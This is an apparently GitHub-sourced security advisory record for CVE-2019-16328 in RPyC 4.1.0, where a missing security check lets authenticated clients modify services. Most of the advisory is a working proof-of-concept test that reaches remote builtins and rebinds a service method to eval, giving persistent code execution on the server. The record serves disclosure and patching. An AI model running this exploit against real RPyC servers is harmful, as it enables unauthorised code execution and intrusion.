{"id":"GHSA-pj4g-4488-wmxm","summary":"Dynamic modification of RPyC service due to missing security check","details":"### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__('sys')\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',\n                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',\n                 'co_lnotab', 'co_freevars', 'co_cellvars']\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index('co_filename')] = filename\n    if name:\n        codetype_args[arg_names.index('co_name')] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger('rpyc')\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')\n        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')\n        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')\n        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')\n        _builtins = remote_modules['builtins']\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins['dict']()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, 'items')():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins['__import__'](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')\n        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins['setattr']\n        remote_type = remote_builtins['type']\n        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop('__import__(\"sys\")')\n        remote_stack = self.conn.root.nop('\"\".join(__import__(\"traceback\").format_stack())')\n        self.assertEqual(type(remote_sys).__name__, 'builtins.module')\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn('rpyc/utils/server.py', remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```","aliases":["CVE-2019-16328","GHSA-9ggp-4jpr-7ppj","PYSEC-2019-118"],"modified":"2023-11-08T04:01:17.495506Z","published":"2021-02-17T19:50:58Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2021-02-17T19:50:44Z","nvd_published_at":"2019-10-03T20:15:00Z","cwe_ids":["CWE-1321","CWE-285"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-16328"},{"type":"PACKAGE","url":"https://github.com/tomerfiliba-org/rpyc"},{"type":"WEB","url":"https://github.com/tomerfiliba/rpyc"},{"type":"WEB","url":"https://rpyc.readthedocs.io/en/latest/docs/security.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"}],"affected":[{"package":{"name":"rpyc","ecosystem":"PyPI","purl":"pkg:pypi/rpyc"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.1"}]}],"versions":["4.1.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/02/GHSA-pj4g-4488-wmxm/GHSA-pj4g-4488-wmxm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"}]}